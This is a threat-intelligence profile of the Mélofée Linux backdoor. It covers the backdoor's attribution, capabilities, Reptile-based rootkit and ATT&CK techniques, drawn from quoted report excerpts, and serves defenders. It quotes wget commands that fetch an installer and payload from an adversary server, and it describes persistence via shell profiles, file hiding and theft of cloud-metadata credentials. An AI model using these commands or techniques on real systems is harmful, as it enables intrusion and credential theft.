Mélofée
- Type
- Backdoor
- Capabilities
- PersistenceDefense evasionReconnaissanceExfiltrationPost exploitation
- Platforms
- Linux
Mélofée is a C++ backdoor family targeting Linux servers, publicly documented in March 2023 with analyzed variants dating to 2022. It is associated with Chinese state-sponsored activity, particularly the Winnti ecosystem, through shared infrastructure and related tooling. A later variant identified in 2024 specifically targeted Red Hat Enterprise Linux 7.9. Its initial-access methods and specific victim industries are not established.
Mélofée supports interactive shells, arbitrary command execution with output retrieval, file reading and writing, directory management, socket creation, and host-information collection. Some variants also provide process management, updating, relaunching, and self-removal. Command-and-control transports include raw TCP, TLS, and UDP using KCP. Configuration protection and packet encryption vary between versions, with RC4 and single-byte XOR used in different implementations.
Persistence mechanisms include system startup scripts, user shell initialization files, and cron jobs, depending on the variant and available privileges. Some deployments incorporate a modified Reptile kernel rootkit. Early implementations conceal installation artifacts by hooking directory-enumeration functions, while a later variant also hides processes and network connections. The rootkit accepts control commands from user space through ioctl. Additional evasion features include encrypted embedded kernel modules and process-name masquerading.
Mélofée shares rootkit-handling code and infrastructure characteristics with SparrowShell. These relationships connect it to a broader Linux espionage-tooling ecosystem but do not establish a single operator for all associated activity.
Associated threat actors
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
It also assessed that CopperDragon is involved in maintaining and supplying variants of the Melofee backdoor.
We recently discovered an novel undetected implant family targeting Linux servers, which we dubbed Mélofée.
Techniques & procedures
27 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
4 techniques
Resource Development
T1583.001 - Attackers acquired servers for staging and command & control
The implant and the rootkit were installed using shell commands downloading both the installer and a custom binary package from an adversary controlled server.
All these samples shared a common code base, but showed a constant development
This server was known to be used to stage archives containing an installer for the Linux version of the Winnti rootkit.
Execution
1 technique
Execution
0x50001 exec_command_with_output ... 0x60001 launch_shell
Persistence
2 techniques
Persistence
Writing to this script ensures that both kernel and implant are executed at boot time.
If it runs as a simple user, it will try to install its persistance in the following files: /home/CURRENT_USERNAME/.bash_profile /home/CURRENT_USERNAME/.bash_login /home/CURRENT_USERNAME/.profile
Privilege Escalation
2 techniques
Privilege Escalation
Writing to this script ensures that both kernel and implant are executed at boot time.
If it runs as a simple user, it will try to install its persistance in the following files: /home/CURRENT_USERNAME/.bash_profile /home/CURRENT_USERNAME/.bash_login /home/CURRENT_USERNAME/.profile
Stealth
6 techniques
Stealth
The first sample we found dropped a rootkit based on a modified version of the open source projet Reptile.
A 2.7 MB ELF binary with near-maximum entropy (7.997 bits per byte across ~832 KB of code). The obfuscation isn't packing -- it's a custom code virtualizer or instruction-level transformation that renders static analysis effectively impossible without dedicated devirtualization tooling.
T1070.004 - Adversary can remove the implant, the rootkit and its configuratin from the system
This implant implemented a similar mechanism for limiting working hours (defined as worktime)
Reptile provides a concealment feature for files, directories, processes, and network communications.
not display files with names containing intel_audio or rc.modules when listing a directory
Defense Impairment
2 techniques
Defense Impairment
Finally, the host is instructed to accept network traffic on the port 57590
Depending on a configuration flag, the implant can install iptables rules to redirect TCP network traffic ... Finally, the host is instructed to accept network traffic on the port 57590
Credential Access
1 technique
Credential Access
The most operationally significant capability is the backdoor's access to cloud instance metadata at 169.254.169.254 . This is the link-local address that every major cloud provider uses to serve instance credentials, API tokens, and configuration data to running workloads.
Discovery
3 techniques
Discovery
send_local_information Hostname, date, current UID, implant version number
0x40001 list_directory
This implant implemented a similar mechanism for limiting working hours (defined as worktime)
Command and Control
9 techniques
Command and Control
three socket types are implemented: TCPSocket... TLSSocket... UDPSocket... Some leftover code seems to indicate that there could be a third type 0x3 for HTTP based communications
Some leftover code seems to indicate that there could be a third type 0x3 for HTTP based communications, but it was not implemented in the analyzed samples.
Also implements the management of a Socks proxy
0x10004 create_socket Create a bidirectional socket, probably used for proxying
TCPSocket ... using raw TCP ... UDPSocket ... using the KCP protocol to send data.
wget http://173.209.62[.]186:8765/installer -O /var/tmp/installer wget http://173.209.62[.]186:8765/a.dat -O /var/tmp/usbd
T1132.002 - Non standard encoding using KCP
T1571 - Adversary can use alternative ports for communication
in the last one it is encrypted using the RC4 algorithm with a hardcoded key
Observables
27 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
17 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.